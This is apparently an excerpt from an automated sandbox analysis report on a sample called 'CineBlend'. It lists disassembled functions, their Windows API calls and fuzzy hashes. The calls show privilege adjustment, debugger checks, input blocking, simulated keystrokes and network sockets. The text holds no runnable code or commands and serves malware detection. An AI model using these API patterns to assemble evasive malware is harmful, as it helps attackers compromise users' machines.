                                  • LockResource.KERNEL32(00B756C2,?,?,00B756C2,?,?,00000000,00000000,?,?,?,?,?,?,00B366CE,?), ref: 00BA3A65
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Resource$CreateFindGlobalLoadLockSizeofStream
                                  • String ID: SCRIPT
                                  • API String ID: 3051347437-3967369404
                                  • Opcode ID: 602b08bebbd76b7b1ded1902137d5542b9d90c26c3960805a2e362ba30d9562f
                                  • Instruction ID: 6d765432a76a11502538b9642af920cfa1dc71f113a1cac36be5af2a0a93e4b7
                                  • Opcode Fuzzy Hash: 602b08bebbd76b7b1ded1902137d5542b9d90c26c3960805a2e362ba30d9562f
                                  • Instruction Fuzzy Hash: B2113C75204715BFD7218B65DC48F2BBBFDEBC9B51F1442ACB5429B160DB71D9018A20
                                  Function 00B920AA Relevance: 9.1, APIs: 6, Instructions: 68memoryCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B91900: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00B91916
                                    • Part of subcall function 00B91900: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00B91922
                                    • Part of subcall function 00B91900: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00B91931
                                    • Part of subcall function 00B91900: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00B91938
                                    • Part of subcall function 00B91900: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00B9194E
                                  • GetLengthSid.ADVAPI32(?,00000000,00B91C81), ref: 00B920FB
                                  • GetProcessHeap.KERNEL32(00000008,00000000), ref: 00B92107
                                  • HeapAlloc.KERNEL32(00000000), ref: 00B9210E
                                  • CopySid.ADVAPI32(00000000,00000000,?), ref: 00B92127
                                  • GetProcessHeap.KERNEL32(00000000,00000000,00B91C81), ref: 00B9213B
                                  • HeapFree.KERNEL32(00000000), ref: 00B92142
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
                                  • String ID:
                                  • API String ID: 3008561057-0
                                  • Opcode ID: 381810f993caac6cb2b14aa3c7372fb09ac7723b22f8c79256f777d0cd4cdba6
                                  • Instruction ID: 7cc24b81017c2233546ed43d593a87d7947ca060086e9fceda1445dbe019776c
                                  • Opcode Fuzzy Hash: 381810f993caac6cb2b14aa3c7372fb09ac7723b22f8c79256f777d0cd4cdba6
                                  • Instruction Fuzzy Hash: 0A11D076900205FFDF109F64CC09FAE7BB9EF49355F1440A8EA41A7120CB359941CB60
                                  Function 00BAA570 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 119filesleepCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B3B329: _wcslen.LIBCMT ref: 00B3B333
                                  • FindFirstFileW.KERNEL32(00000001,?,*.*,?,?,00000000,00000000), ref: 00BAA5BD
                                  • FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 00BAA6D0
                                    • Part of subcall function 00BA42B9: GetInputState.USER32 ref: 00BA4310
                                    • Part of subcall function 00BA42B9: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00BA43AB
                                  • Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 00BAA5ED
                                  • FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00BAA6BA
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Find$File$CloseFirstInputMessageNextPeekSleepState_wcslen
                                  • String ID: *.*
                                  • API String ID: 1972594611-438819550
                                  • Opcode ID: d0da6b8635daaa70b84fcec162892ba779b2d098314d1fb130c34c7eba33d53a
                                  • Instruction ID: f68c4a8d867d67a150bfab61cc9daa9c2a6b233edc03dfdc9410e18f5b9525ef
                                  • Opcode Fuzzy Hash: d0da6b8635daaa70b84fcec162892ba779b2d098314d1fb130c34c7eba33d53a
                                  • Instruction Fuzzy Hash: 24413E7594420AAFCB55DFA4C849AEEBBF4EF16310F24409AE905A21A1EB309E44CF61
                                  Function 00B322AD Relevance: 7.8, APIs: 5, Instructions: 308COMMON
                                  Download Yara Rule
                                  APIs
                                  • DefDlgProcW.USER32(?,?), ref: 00B3233E
                                  • GetSysColor.USER32(0000000F), ref: 00B32421
                                  • SetBkColor.GDI32(?,00000000), ref: 00B32434
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Color$Proc
                                  • String ID:
                                  • API String ID: 929743424-0
                                  • Opcode ID: 333e4cd21bd0c2d29b6045fc1a31c15727fa311a416e6f6b57f27c13cdba804d
                                  • Instruction ID: 15466ec14246c05908e3b319edbb2a8105acabfde00bfcfadc28a61e4f87d5e5
                                  • Opcode Fuzzy Hash: 333e4cd21bd0c2d29b6045fc1a31c15727fa311a416e6f6b57f27c13cdba804d
                                  • Instruction Fuzzy Hash: 0181F1B0108400BEE72D6B2C8CDCE7F35DEDB46700F3581D9F612D6695C9699E42A27A
                                  Function 00BB2263 Relevance: 7.7, APIs: 5, Instructions: 153networkCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00BB3AAB: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00BB3AD7
                                    • Part of subcall function 00BB3AAB: _wcslen.LIBCMT ref: 00BB3AF8
                                  • socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00BB22BA
                                  • WSAGetLastError.WSOCK32 ref: 00BB22E1
                                  • bind.WSOCK32(00000000,?,00000010), ref: 00BB2338
                                  • WSAGetLastError.WSOCK32 ref: 00BB2343
                                  • closesocket.WSOCK32(00000000), ref: 00BB2372
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ErrorLast$_wcslenbindclosesocketinet_addrsocket
                                  • String ID:
                                  • API String ID: 1601658205-0
                                  • Opcode ID: 2131482a221f7f73c6f11dafcca6ff6e4751cc485282f196f480d06719b055d5
                                  • Instruction ID: c99942b3bd0f6cfe00a50f25c63712a513440c38916777a7adc38e4243b05d88
                                  • Opcode Fuzzy Hash: 2131482a221f7f73c6f11dafcca6ff6e4751cc485282f196f480d06719b055d5
                                  • Instruction Fuzzy Hash: F251BFB5A00210AFE710AF24C8C6F6A77E5EB48754F1884DCF9559F3D3CA74AD428BA1
                                  Function 00BC26DD Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Window$EnabledForegroundIconicVisibleZoomed
                                  • String ID:
                                  • API String ID: 292994002-0
                                  • Opcode ID: fe64dc2d013001ea5f282cd1b1354ca636e352bb7acee4e1272acabeff57bb1b
                                  • Instruction ID: 2d0f2f31fd77622f0b080626731015778209ffb38b1ee38fbc0d4edda1b29f31
                                  • Opcode Fuzzy Hash: fe64dc2d013001ea5f282cd1b1354ca636e352bb7acee4e1272acabeff57bb1b
                                  • Instruction Fuzzy Hash: 1321C1357002109FE7119F26C884F5A7BE5FF95324F5980AEE84A8B352DB71ED42CBA0
                                  Function 00BAD889 Relevance: 6.1, APIs: 4, Instructions: 75filenetworkCOMMON
                                  Download Yara Rule
                                  APIs
                                  • InternetReadFile.WININET(?,?,00000400,?), ref: 00BAD8CE
                                  • GetLastError.KERNEL32(?,00000000), ref: 00BAD92F
                                  • SetEvent.KERNEL32(?,?,00000000), ref: 00BAD943
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ErrorEventFileInternetLastRead
                                  • String ID:
                                  • API String ID: 234945975-0
                                  • Opcode ID: f6d7e25a2b7d60a11ae89a981ced2f359ce10d865db1d4bb596b8ccf6dfd1150
                                  • Instruction ID: e094dc61a40d39639241b320fc0b40ebfd4c0d780d3cbfe149cddd9d812df649
                                  • Opcode Fuzzy Hash: f6d7e25a2b7d60a11ae89a981ced2f359ce10d865db1d4bb596b8ccf6dfd1150
                                  • Instruction Fuzzy Hash: 9F219DB5504705ABE7209F65C888BABB7F8EB42314F1044AAE64692551EB74EA098B50
                                  Function 00B9E472 Relevance: 6.0, APIs: 4, Instructions: 29filestringCOMMON
                                  Download Yara Rule
                                  APIs
                                  • lstrlenW.KERNEL32(?,00B746AC), ref: 00B9E482
                                  • GetFileAttributesW.KERNEL32(?), ref: 00B9E491
                                  • FindFirstFileW.KERNEL32(?,?), ref: 00B9E4A2
                                  • FindClose.KERNEL32(00000000), ref: 00B9E4AE
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: FileFind$AttributesCloseFirstlstrlen
                                  • String ID:
                                  • API String ID: 2695905019-0
                                  • Opcode ID: eb32787be3671d5d9403fa7fd0083c8bbf46eba7bdb797158e982deda8044468
                                  • Instruction ID: 77c991b20c8a049cee0590fa94621285b77f69890364b5a0bd5441baf55f9b7d
                                  • Opcode Fuzzy Hash: eb32787be3671d5d9403fa7fd0083c8bbf46eba7bdb797158e982deda8044468
                                  • Instruction Fuzzy Hash: 9AF0A030410910679610AB38EC0D8AE76ADEE06335B544BA5F836C22E0DB78E9958695
                                  Function 00B8E5F4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: LocalTime
                                  • String ID: %.3d$X64
                                  • API String ID: 481472006-1077770165
                                  • Opcode ID: 640659c1a071daf62dc610e9a87775a32a2ccb63dff20edfec50582223f6bdd7
                                  • Instruction ID: ca6ce4fdf43d8e6b919c43eddc4c3095772916aff10993b04917534911c3468e
                                  • Opcode Fuzzy Hash: 640659c1a071daf62dc610e9a87775a32a2ccb63dff20edfec50582223f6bdd7
                                  • Instruction Fuzzy Hash: F1D012B1C08118D6DB80AA90DCC8CB973FCBB18300F5044E2F91692030FA20DA08E721
                                  Function 00B62992 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00B62A8A
                                  • SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00B62A94
                                  • UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 00B62AA1
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ExceptionFilterUnhandled$DebuggerPresent
                                  • String ID:
                                  • API String ID: 3906539128-0
                                  • Opcode ID: eef19fc407f2438d20a271a3636d56c4cc5a37244443bfbf7ebf00034ba5d7d3
                                  • Instruction ID: 8891453907cc250c2da4cb88ace8702bd7bf82a1ea2da28e95084bfee19e50de
                                  • Opcode Fuzzy Hash: eef19fc407f2438d20a271a3636d56c4cc5a37244443bfbf7ebf00034ba5d7d3
                                  • Instruction Fuzzy Hash: 6131D77490121C9BCB21DF64D9887DDBBF4AF08311F5041EAE80CA7250EB749F858F45
                                  Function 00B92010 Relevance: 4.6, APIs: 3, Instructions: 68COMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B5014B: __CxxThrowException@8.LIBVCRUNTIME ref: 00B509D8
                                    • Part of subcall function 00B5014B: __CxxThrowException@8.LIBVCRUNTIME ref: 00B509F5
                                  • LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00B9205A
                                  • AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00B92087
                                  • GetLastError.KERNEL32 ref: 00B92097
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Exception@8Throw$AdjustErrorLastLookupPrivilegePrivilegesTokenValue
                                  • String ID:
                                  • API String ID: 577356006-0
                                  • Opcode ID: 08aec405b3f4506cd286a7d544855e9ece1dbeb33a6af98d6f543a8b301e94f5
                                  • Instruction ID: 8ef8639f30502957d5399d18f8990e0e09b101102348cdf21f91a28779e1a01d
                                  • Opcode Fuzzy Hash: 08aec405b3f4506cd286a7d544855e9ece1dbeb33a6af98d6f543a8b301e94f5
                                  • Instruction Fuzzy Hash: BB119DB1810605BFDB18AF54DC86E6AB7E8EB48710B20846EF44653251EB71AC41CA24
                                  Function 00B8E652 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetUserNameW.ADVAPI32(?,?), ref: 00B8E664
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: NameUser
                                  • String ID: X64
                                  • API String ID: 2645101109-893830106
                                  • Opcode ID: df16e4852e9488dfb3b50c38383c08f3dd31f3cce8ab994c0abe1b13e7a73a3e
                                  • Instruction ID: 8a2f1a070fdb636b47308e9c095a926797c74f4a3335fe7dcd2228d60afd5ec1
                                  • Opcode Fuzzy Hash: df16e4852e9488dfb3b50c38383c08f3dd31f3cce8ab994c0abe1b13e7a73a3e
                                  • Instruction Fuzzy Hash: 41D0C9B480112DEADB80CB50ECC8DDD73BCBB04304F1006A5F106A2100DB3096489B10
                                  Function 00BA41FA Relevance: 3.0, APIs: 2, Instructions: 33windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,?,00BB52EE,?,?,00000035,?), ref: 00BA4229
                                  • FormatMessageW.KERNEL32(00001000,00000000,?,00000000,?,00000FFF,00000000,?,?,?,00BB52EE,?,?,00000035,?), ref: 00BA4239
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ErrorFormatLastMessage
                                  • String ID:
                                  • API String ID: 3479602957-0
                                  • Opcode ID: 94801a7248de196531fc59289f4a7efd5f4e20b18082a7a3d5bf6c909058965f
                                  • Instruction ID: e787cfd30e0725d4f09f8c21c10e1af73c76318b372b304ef7b39e7bc70d07a7
                                  • Opcode Fuzzy Hash: 94801a7248de196531fc59289f4a7efd5f4e20b18082a7a3d5bf6c909058965f
                                  • Instruction Fuzzy Hash: AEF0E5357043246AE7201765DC4DFEB76ADEFC9761F0001B5F509D3185DA709900C6B0
                                  Function 00B9BBED Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON
                                  Download Yara Rule
                                  APIs
                                  • SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 00B9BC24
                                  • keybd_event.USER32(?,75C0C0D0,?,00000000), ref: 00B9BC37
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: InputSendkeybd_event
                                  • String ID:
                                  • API String ID: 3536248340-0
                                  • Opcode ID: 3563d63644081302ce8b3ec39cfbc240992f8f9b006bf85381a8a6bd41c1bb26
                                  • Instruction ID: fdc021e258412bab5509b4a8411e704ef6b7d6a5a739b0058a8e97631904f866
                                  • Opcode Fuzzy Hash: 3563d63644081302ce8b3ec39cfbc240992f8f9b006bf85381a8a6bd41c1bb26
                                  • Instruction Fuzzy Hash: F7F06D7580424DABDF019FA4D805BBE7BB0FF08309F00805AF951A6191D7798601DF94
                                  Function 00B91A0B Relevance: 3.0, APIs: 2, Instructions: 24COMMON
                                  Download Yara Rule
                                  APIs
                                  • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00B91B48), ref: 00B91A20
                                  • CloseHandle.KERNEL32(?,?,00B91B48), ref: 00B91A35
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: AdjustCloseHandlePrivilegesToken
                                  • String ID:
                                  • API String ID: 81990902-0
                                  • Opcode ID: 2b0cf51065fa00ea8525d475a1c4de865478fff660f9cdc5c3599352675e7777
                                  • Instruction ID: 3e2c5713b3e492d9b2baac5d10a783f3573b5926f0f208cb6027ddbd1b7ff458
                                  • Opcode Fuzzy Hash: 2b0cf51065fa00ea8525d475a1c4de865478fff660f9cdc5c3599352675e7777
                                  • Instruction Fuzzy Hash: B5E04F72014A11AFE7252B14FC05F7277E9FF04351F14886DF8A581470DB726C91DB14
                                  Function 00BAF4FF Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON
                                  Download Yara Rule
                                  APIs
                                  • BlockInput.USER32(00000001), ref: 00BAF51A
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: BlockInput
                                  • String ID:
                                  • API String ID: 3456056419-0
                                  • Opcode ID: eef72e071899f08300d7e0fea287de3a9cd116be5c4a1bc967c7e3421efdcc5a
                                  • Instruction ID: d36680c484c3e04e9c54937d2de0c37e9ed1793995addbc094c0760409e8afec
                                  • Opcode Fuzzy Hash: eef72e071899f08300d7e0fea287de3a9cd116be5c4a1bc967c7e3421efdcc5a
                                  • Instruction Fuzzy Hash: F2E048362042055FC710AFA9D445E96F7D8EFA5761F108466F849D7351DA70F940CB94
                                  Function 00B9EC9E Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                  Download Yara Rule
                                  APIs
                                  • mouse_event.USER32(00000004,00000000,00000000,00000000,00000000), ref: 00B9ECC7
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
